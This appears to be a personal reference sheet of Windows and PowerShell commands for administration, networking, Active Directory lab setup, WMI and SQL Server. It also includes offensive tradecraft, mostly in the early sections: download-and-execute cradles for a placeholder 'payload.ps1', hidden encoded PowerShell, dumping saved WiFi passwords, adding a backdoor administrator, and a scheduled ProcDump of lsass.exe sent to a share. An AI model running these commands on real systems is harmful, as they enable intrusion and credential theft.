Here are some useful short commands for Windows systems that may be useful.
sls
(Select-String
): look for a pattern.Example:
# Search my-needle in the input sls my-needle # Search my-needle in files ending with .txt sls -Path *.txt -Pattern my-needle
Documentation:
gcm
(Get-Command
): List cmdlets (PowerShell commands) matching a pattern.Example:
# List commands using "WMI" in their names gcm -noun *WMI*
Typing "Ctrl+Space" spawns PSReadLine module, which presents possible completion options (in a more powerful way than "Tab").
Basic PowerShell constructions include:
ForEach-Object
, to perform an operation (between braces) on each item of an object (aliases:ForEach
and%
)Where-Object
, to filter an object (aliases:Where
and?
)
PowerShell also provides commands to browse the filesystem. Here is a correspondence table between PowerShell commands and commands from other systems, that are also available in PowerShell as aliases:
cmdlet | Aliases | Description | ||
---|---|---|---|---|
PS | cmd.exe |
UNIX shell | ||
Get-Location |
gl |
pwd |
pwd |
Get the current node. |
Set-Location |
sl |
cd , chdir |
cd , chdir |
Change the current node. |
Get-ChildItem |
gci |
dir |
ls |
List the objects stored at the current node. |
New-Item |
ni |
md , mkdir |
mkdir |
Create a directory. |
Get-Item |
gi |
Return the properties of the current item. | ||
Set-Item |
si |
Define the content of an item. | ||
Copy-Item |
cpi |
copy |
cp |
Copy an object. |
Move-Item |
mi |
move |
mv |
Move an object. |
Rename-Item |
rni |
rn |
ren |
Rename an object. |
Remove-Item |
ri |
del , rd ,
erase |
rm , rmdir |
Remove an object. |
Get-Content |
gc |
type |
cat |
Get the content of an object. |
Set-Content |
sc |
Define the content of an object. | ||
Get-ItemProperty |
gp |
Return a property. | ||
Copy-ItemProperty |
cpp |
Copy a property. | ||
Move-ItemProperty |
mp |
Move a property. | ||
Rename-ItemProperty |
rnp |
Rename a property. | ||
Compare-Object |
compare |
diff |
Compare several objects. | |
Write-Output |
write |
echo |
Print something to the standard output. | |
Invoke-WebRequest |
iwr |
curl , wget |
Perform a HTTP request. | |
Get-Help |
help |
man |
Get the help associated with a cmdlet. |
PowerShell provides objects in several hierarchies, that are "drives" provided by "providers":
Get-PSProvider
Get-PSDrive
# Get the version of PowerShell
Get-Host
$PSVersionTable.PSVersion
In order to use a drive, add a colon symbol to it:
ls alias:
ls env:
ls variable:
ls env:path
ls function:h*
cat function:help
# In order to get $PATH:
(ls env:path).value
cat env:path
echo $env:path
# In order to set an environment variable globally, such as the one for Mirosoft symbols:
setx _NT_SYMBOL_PATH srv*C:\DebugSymbols*http://msdl.microsoft.com/download/symbols
In order to use a provider, add two colons to it:
ls registry::HKEY_USERS
Get the methods and properties:
# For an object (instance of a class)
$obj | Get-Member
$obj | gm
# For a class (for the static methods and properties)
$obj | Get-Member -Static
Set the default output encoding to UTF-8 (cf. https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.core/about/about_character_encoding?view=powershell-7.3)
$PSDefaultParameterValues['*:Encoding'] = 'utf8'
Download and run a script
PowerShell (
iex
is an alias toInvoke-Expression
):powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" powershell.exe -exec bypass "iex (New-Object Net.Webclient).DownloadString('http://webserver/payload.ps1')"
JavaScript through Rundll32 (used by Win32/Poweliks malware):
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Using
certutil
:certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe
Downloading files with PowerShell:
$content = (New-Object Net.WebClient).DownloadString("http://webserver/file.txt")
# Save to a file
Invoke-WebRequest -Uri http://webserver/file.txt -OutFile file.txt -UseBasicParsing
# With BITS (Background Intelligent Transfer Service) (ipmo = Import-Module)
ipmo BitsTransfer;Start-BitsTransfer -Source "http://webserver/file.txt" -Destination C:\Windows\Temp\
Run a PowerShell script:
%windir%\System32\WindowsPowerShell\v1.0\powershell.exe -Noninteractive -ExecutionPolicy Bypass -Noprofile -file MyScript.ps1
Run PowerShell code endoded as UTF-16LE+Base64:
# start /B : start application without creating a new window
# -nop for -NoProfile : do not load the PowerShell profile
# -sta for -Sta : start using a single-threaded apartment
# -noni for -NonInteractive : does not present an interactive prompt
# -w 1 or -w hidden or -win Hidden for -WindowStyle Hidden : hidden PowerShell window
# -enc for -EncodedCommand : execute the command encoded in base64
# -ep bypass or -exec bypass for -ExecutionPolicy bypass : set the default execution
# policy for the current session and saves it in $env:PSExecutionPolicyPreference
# (redundant when -enc is given)
start /b powershell -nop -sta -w 1 -enc "$(iconv -t utf16le < payload.ps1 | base64)"
Get the HTTP proxy which is currently configured:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable
netsh winhttp dump
Add a HTTP proxy:
netsh winhttp set proxy 127.0.0.1:3128
List available WiFi profiles:
netsh wlan show profiles
Export WiFi profiles (username and password) to %APPDATA%\<profile>.xml
:
cmd.exe /c netsh wlan export profile key=clear folder="%APPDATA%"
Source: https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
In PowerShell, without writing any file:
$results = (netsh wlan show profiles) |
Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} |
%{(netsh wlan show profile name=$name key=clear)} |
Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} |
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}
# Display the results or record them in files
$results
$results | Format-Table -Wrap
$results | Format-Table -AutoSize
$results | Out-GridView
$results | Export-Csv -Path .\wifi.csv -NoTypeInformation -Encoding ASCII
$results | Out-File -FilePath .\wifi.txt -Encoding ASCII
Sources:
- https://jocha.se/blog/tech/display-all-saved-wifi-passwords
- https://www.tenforums.com/tutorials/27997-see-wireless-network-security-key-password-windows-10-a.html
- https://community.idera.com/database-tools/powershell/ask_the_experts/f/learn_powershell_from_don_jones-24/19610/convert-one-liner-to-more-readable-code
Some commands to list and manage users and groups
# Get information on the current user
whoami
whoami /groups
whoami /priv
whoami /all
# Local users and groups manager
lusrmgr.msc
# net command on local accounts
net user
net localgroup
# net command on Active Directory accounts
net user /domain
net group
# query command
query user
# Get information about the current sessions on a server
qwinsta
query session
# PowerShell, with MS Exchange cmdlet
# Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010
Get-User | Export-CSV C:\Temp\AllUsers.csv -NoTypeInfo
# WMI (PowerShell)
Get-WmiObject Win32_UserAccount
Get-CimInstance -ClassName Win32_UserAccount
Get-CimInstance -ClassName Win32_Group
# Add an administrator user
net user newuser password /add
net localgroup Administrators newuser /add
In Powershell, enabling autologin:
$key = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Set-ItemProperty $key -Name AutoAdminLogon -Value 1
Set-ItemProperty $key -Name DefaultUserName -Value "Administrateur"
Set-ItemProperty $key -Name DefaultPassword -Value "password"
Spawn an elevated prompt when UAC is enabled (User Account Control):
Start-Process -Verb RunAs PowerShell
saps -verb runas powershell
In order to login as administrator to a remote machine without using the built-in administrator (RID 500), a registry key needs to be set.
cmd /c reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
PowerShell Set-ItemProperty
-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
-Name LocalAccountTokenFilterPolicy -Value 1 -Type DWord
This has been described in many blog posts:
- https://support.microsoft.com/en-us/help/942817/how-to-change-the-remote-uac-localaccounttokenfilterpolicy-registry-se
- https://blogs.msdn.microsoft.com/wmi/2009/07/24/powershell-remoting-between-two-workgroup-machines/
- https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
Enumerate all processes:
tasklist /v
query process *
Get-Process
# "gps" and "ps" are aliases of Get-Process
Find processes from its name:
tasklist /v | find /I "explorer.exe" # Only in cmd.exe, as "find" requires the quotes
Get-Process | Select Name=explorer.exe
Enumerate all services:
Get-Service | Export-CSV C:\Temp\AllServices.csv -NoTypeInfo
gsv | epcsv C:\Temp\AllServices.csv -NoTypeInfo
Edit Local Group Policy:
# Local Group Policy Editor (with local GPO to Local Security Policy, Administrative Templates...)
gpedit.msc
# Local Security Policy (with SRP=Software Restriction Policies, AppLocker, Password Policies...)
secpol.msc
For example to configure the servicing channel on Windows 10 (https://docs.microsoft.com/en-gb/windows/deployment/update/waas-servicing-channels-windows-10-updates):
- Open
gpedit.msc
(Local Group Policy Editor). - Go to "Local Computer Policy/Computer Configuration/Administrative Templates/Windows Components/Windows Update/Windows Update For Business".
- Click on "Select when Preview Builds and Feature Updates are received". A dialog box opens.
- Select "Enabled" and choose a readiness level among "Preview Build - Fast", "Preview Build - Slow", "Release Preview", "Semi-Annual Channel (Targeted)" or "Semi-Annual Channel".
- Click on "OK".
Export the Local Group Policy:
secedit /export /cfg system_config.cfg
# With at least Windows Vista or Windows Server 2008
gpresult /H GPReport.html
gpresult /SCOPE COMPUTER /H GPReport-Computer.html
# Display RSoP summary data (Resultant Set of Policies)
gpresult /R
# RSoP GUI
RSOP.msc
Work on Group Policy Objects (GPO):
# Launch the Group Policy Management Console
gpmc.msc
# Apply the GPO
gpupdate /force
The Remote Server Administration Tools (RSAT) provides Group Policy PowerShell Cmdlets (https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee461027%28v=technet.10%29):
Get-WindowsCapability -Online | ? Name -like 'Rsat.GroupPolicy.Management.Tools*'
Get-GPOReport -All -ReportType Html -Path GpoReport.html
Logon scripts are located in folder %SystemRoot%\SYSVOL\sysvol\{domain DNS name}\Policies\{GUID of the GPO}\User\Scripts\Logon
(on Domain controllers).
They can be implemented in VBScript (.vbs
extension) or PowerShell (.ps1
extension).
In GPMC, they are linked to a GPO using either:
- Computer Configuration -> Policies -> Windows Settings -> Scripts (Startup / Shutdown)
- User Configuration -> Policies -> Windows Settings -> Scripts (Logon/Logoff)
A third way of running scripts on a system consists in using Immediate Scheduled Tasks:
- Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
In order to create a scheduled task that runs at 13:37 ProcDump on lsass.exe
(Local Security Authority Subsystem service process) and uploads the result onto a network share, schtasks can be used:
# /ru user context under which the task runs
# /sc schedule frequency
# /st start time in HH:mm format (24-hour time)
# Python: (datetime.datetime.now() + datetime.timedelta(minutes=2)).strftime("%H:%M")
# /tn task name
# /tr task to be run
schtasks /create /tn "NameOfMyTask" /ru SYSTEM /sc once /st 13:37
/tr "\\192.0.2.42\ro\procdump64.exe -accepteula -ma lsass.exe \\192.0.2.42\rw\lsass.dmp"
# List tasks with their status and next run time
schtasks
In order to list the upgrades that have been applied, using DISM (Deployment Image Servicing and Management Tool):
dism /online /get-packages
In order to check for an applied update, with its KB number:
dism /online /get-packages | findstr KB99999
# systeminfo.exe enumerates the "hotfixes" too
systeminfo.exe | findstr KB99999
# WMI also provides such an information in
# System.Management.ManagementObject#root\CIMV2\Win32_QuickFixEngineering
wmic qfe get hotfixid | find "KB99999"
wmic qfe | find "KB99999"
# From PowerShell
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
# https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Management/Get-HotFix?view=powershell-5.1
Get-HotFix -id KB99999
The software may be signed using a certificate in a certificate store.
# Manage user certificates
certmgr.msc
# Manage local machine certificates
certlm.msc
msconfig
bcdedit /enum all
wmic product get "name,version" /format:csv > applications.csv
Get the current status of the network stack:
# Get the configuration of all network adapters
ipconfig /all
# Display the content of the DNS client resolver cache
ipconfig /displaydns
# Get network routes
route print
# Show the active TCP connections and listening TCP and UDP ports, with PIDs
netstat -ano
TCP port forwarding with netsh:
netsh interface portproxy add v4tov4 listenport=1234 listenaddress=192.0.2.42
connectport=80 connectaddress=10.13.37.1
On a WindowsDNS server:
# Get server information
dnscmd /info
# Enumerate zones and records
dnscmd /enumzones
dnscmd /zoneprint ${ZONE_NAME}
dnscmd /enumrecords ${ZONE_NAME} ${NODE_NAME}
To disable IPv6 on all network interfaces (with PowerShell):
Get-NetAdapterBinding -ComponentID ms_tcpip6 | Where-Object { $_.Enabled } | ForEach-Object {
Disable-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6
Get-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6
}
# https://support.microsoft.com/en-gb/help/929852/guidance-for-configuring-ipv6-in-windows-for-advanced-users
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" `
/v DisabledComponents /t REG_DWORD /d 255 /f
To promote a Windows server (for example an evaluation install from https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022) to a Domain controller, first renaming it, in a PowerShell script (.ps1
file):
# References:
# - https://github.com/StefanScherer/adfs2/blob/master/scripts/create-domain.ps1
# - https://github.com/commial/labs
$dcname = "DCLAB"
$domain = "mylab.local"
$domainNetbios = "MYLAB"
if ($env:COMPUTERNAME -ne $dcname) {
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Renaming the machine..."
Rename-Computer $dcname
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Please reboot now! (shutdown /t 0 /r)"
Exit
}
if ((Get-WmiObject Win32_ComputerSystem).partofdomain -eq $false) {
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) This system is not part of a domain, configuring a DC"
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Installing RSAT tools"
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell,RSAT-AD-AdminCenter
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Installing AD Domain Services"
Install-WindowsFeature AD-domain-services
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Reconfiguring DNS server to localhost"
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPAddress }
$adapters | ForEach-Object {
$_.SetDNSServerSearchOrder("127.0.0.1")
}
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Deploying an AD"
Import-Module ADDSDeployment
$PlainPassword = "Super!Password"
$SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force
Install-ADDSForest `
-SafeModeAdministratorPassword $SecurePassword `
-CreateDnsDelegation:$false `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "Win2012" `
-DomainName $domain `
-DomainNetbiosName $domainNetbios `
-ForestMode "Win2012" `
-InstallDns:$true `
-LogPath "C:\Windows\NTDS" `
-NoRebootOnCompletion:$true `
-SysvolPath "C:\Windows\SYSVOL" `
-Force:$true
Add-Content "C:\WINDOWS\System32\drivers\etc\hosts" "127.0.0.1 $dcname.$domain"
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Please reboot now! (shutdown /t 0 /r)"
Exit
}
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Checking AD services status..."
$svcs = "adws","dns","kdc","netlogon"
Get-Service -name $svcs -ComputerName localhost | Select Machinename,Name,Status
Then, Active Directory objects can be requested and created with:
Get-ADOrganizationalUnit
andNew-ADOrganizationalUnit
for organizational units (OU)Get-ADComputer
andNew-ADComputer
for computersGet-ADUser
andNew-ADUser
for usersGet-ADGroup
andNew-ADGroup
for groups,Add-ADGroupMember
to add members to a group
wf.msc
Get-NetFirewallProfile
Show-NetFirewallRule
netsh advfirewall export "C:\Users\Administrator\Desktop\advfirewallpolicy.wfw"
netsh advfirewall show allprofiles
netsh advfirewall show global
netsh advfirewall firewall dump
# On old versions of Windows
netsh advfirewall dump
# List the network shares currently used
net use
# List the shares on a server (use "localhost" for local shares)
net view my-server /ALL
# List the available shares (from a server)
net share
Get-SmbShareAccess C$
# List shares using WMI (on a remote server or locally)
$shares = Get-CIMInstance -Classname Win32_Share -computername my-server -filter "Type=0"
$shares | foreach {
" Share Name : " + $_.name + "
Source Folder: " + $_.path + "
Description : " + $_.Description + "
Caption : " + $_.Caption + "
Type : " + ('0x{0:x}' -f $_.Type) + "
"
}
# Mount a share to a drive letter
net use /user:me Z: \\my-server\my-share
New-PSDrive -Name "Z" -PSProvider FileSystem -Root "\\my-server\my-share"
In order to easily provide files to a Windows host from a Linux system, it is possible to use impacket to start a simple Samba server:
smbserver.py -smb2support -username me -password mypass my-share /path/to/my-share
Some scripts such as https://github.com/thom-s/netsec-ps-scripts/blob/master/printer-telnet-ftp-report/printer-telnet-ftp-report.ps1 use PowerShell cmdlets in order to perform connectivity tests:
# Send a ping to the given IP address
Test-Connection -ComputerName 192.0.2.42 -Quiet -Count 1 -InformationAction Ignore
# Test telnet connectivity
$result = Test-NetConnection -ComputerName 192.0.2.42 -Port 23
$result.PingSucceeded
$result.TcpTestSucceeded
# Open a network socket to FTP port
$client = New-Object System.Net.Sockets.TcpClient(192.0.2.42, 21)
$client.Close()
Documentation:
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/test-connection?view=powershell-6
- https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=win10-ps
Since Windows Vista, it is possible to create symbolic links on Windows:
# Create a symbolic link to a file
mklink "C:\Path\to\link\file" "C:\Path\to\target\file"
# Create a symbolic link to a directory
mklink /D "C:\Path\to\link\directory" "C:\Path\to\target\directory"
# With PowerShell 5.0 (Windows 10)
New-Item -Path "C:\Path\to\link" -ItemType SymbolicLink -Value "C:\Path\to\target"
The command to mount a volume on a path is mountvol:
# Example from Microsoft documentation
mountvol \sysmount \\?\Volume\{2eca078d-5cbc-43d3-aff8-7e8511f60d0e}\
# Enumerate the volumes from PowerShell
Get-WmiObject Win32_Volume
It is also possible to associate a path with a drive letter using command subst:
subst Z: "C:\my\path"
# Remove the association
subst Z: /d
Get files with Zone.Identifier
alternate data stream (ADS):
Get-ChildItem -Recurse | Get-Item -Stream Zone.Identifier -ErrorAction SilentlyContinue |
Select-Object FileName
Read an ADS:
Get-Content -Stream Zone.Identifier .\my-application.exe
Remove an ADS:
Remove-Item .\my-application.exe -Stream Zone.Identifier
When downloading a file from the Internet, dir
shows a filename with suffix :Zone.Identifier:$DATA
and with 26 bytes (each lines are ended by "\r\n"
:
[ZoneTransfer]
ZoneId=3
The Zone identifier is 0 for the local machine, 1 for the local intranet, 2 for trusted sites, 3 for the Internet or 4 for restricted sites.
The ADS Zone.Identifier
may contain other fields such as ReferrerUrl=...
.
The empty ADS matches the usual content of a file. This means that the content is both accessible through filepath
and filepath::$DATA
.
Display a simple CSV file in a simple GUI, from a PowerShell prompt:
Import-Csv -Path file.csv | Out-GridView
ipcsv -Path file.csv | ogv
In order to produce a CSV from a PowerShell command:
... | Sort-Object -Property Timestamp | Export-Csv file.csv -notypeinformation
... | sort -Property Timestamp | epcsv file.csv -notypeinformation
For a table in the CLI:
... | Format-Table
... | ft
# Show all properties of the object
... | Format-Table -Property *
... | ft *
In order to show a table as a list:
... | Format-List
... | fl
# Show all properties of the object
... | Format-List -Property *
... | fl *
In order to filter the properties of an object, it is possible to use Select-Object
with filters (eg. Select-Object a*, b*
for properties that start with "a" or "b").
Select-Object
can also be used to compute new properties.
For example, in order to compute a size in Gigabytes, it is possible to use the unit suffix GB
and the format string {0:N2}
which formats floats using 2 digits after the dot:
Get-WmiObject Win32_DiskDrive |
Select-Object Model,Status,@{Name='SizeGB';Expression={"{0:N2}" -f ($_.Size / 1GB)}}
WMI (Windows Management Instrumentation) provides information about many parts of the operating system:
# Enumerate WMI providers
Get-WmiObject -Class __Provider | ft
# Get information about the OS
gwmi Win32_OperatingSystem
# Launch a GUI to enumerate WMI classes for known namespaces (and PowerShell ScriptOMatic)
# In C:\Windows\System32\wbem\wbemtest.exe
wbemtest.exe
In order to gather information about a Trusted Platform Module (TPM), the namespace needs to be changed:
$tpm = Get-WmiObject -Namespace "root\CIMV2\Security\MicrosoftTpm" -Class Win32_Tpm
$tpm.IsEnabled()
$tpm.IsActivated()
$tpm.IsOwned()
$tpm.SelfTest()
In order to connect to a MSSQL server from a PowerShell CLI (cf. https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection?view=netframework-4.7.2):
$ConnectionString = "Server=MSSQL-SRV\MY-INSTANCE;Database=mydb;User ID=sa;Password=sa;"
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection($ConnectionString)
$SqlConnection.Open()
$SqlConnection.State
# Result: "Open"
To run a trivial SQL query:
# The verbose way:
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand
$SqlCmd.CommandText = "SELECT 42"
$SqlCmd.Connection = $SqlConnection
$SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter
$SqlAdapter.SelectCommand = $SqlCmd
$DataSet = New-Object System.Data.DataSet
$SqlAdapter.Fill($DataSet)
$DataSet.Tables[0] | Format-Table
# The more-compact way:
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand("SELECT 42", $SqlConnection)
$SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter($SqlCmd)
$DataSet = New-Object System.Data.DataSet
$SqlAdapter.Fill($DataSet)
$DataSet.Tables[0] | Format-Table
In order to find out which tables the logged user has access, here are some queries:
SELECT * FROM sys.databases
SELECT * FROM sys.tables
The following commands export the first rows of every table to files, once a $SqlConnection
has been created:
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand("SELECT * FROM sys.tables", $SqlConnection)
$SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter($SqlCmd)
$DataSet = New-Object System.Data.DataSet
$SqlAdapter.Fill($DataSet)
$AllTables = $DataSet.Tables[0] | Sort-Object -property name
$AllTables | ForEach-Object {
$tblName = $_.name
$csvName = "dump_top_" + $tblName + ".csv"
echo "Exporting data to " $csvName
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand(("SELECT TOP 10000 * FROM " + $tblName), $SqlConnection)
$SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter($SqlCmd)
$DataSet = New-Object System.Data.DataSet
$SqlAdapter.Fill($DataSet)
$DataSet.Tables[0] | Export-Csv $csvName -notypeinformation
}
On a SQL Server, it is also possible to create a virtual drive (cf. https://docs.microsoft.com/en-us/sql/powershell/navigate-sql-server-powershell-paths?view=sql-server-2017):
New-PSDrive -Name MYDB -Root SQLSERVER:\SQL\localhost\DEFAULT\Databases\mydb
Set-Location MYDB:\Tables\Users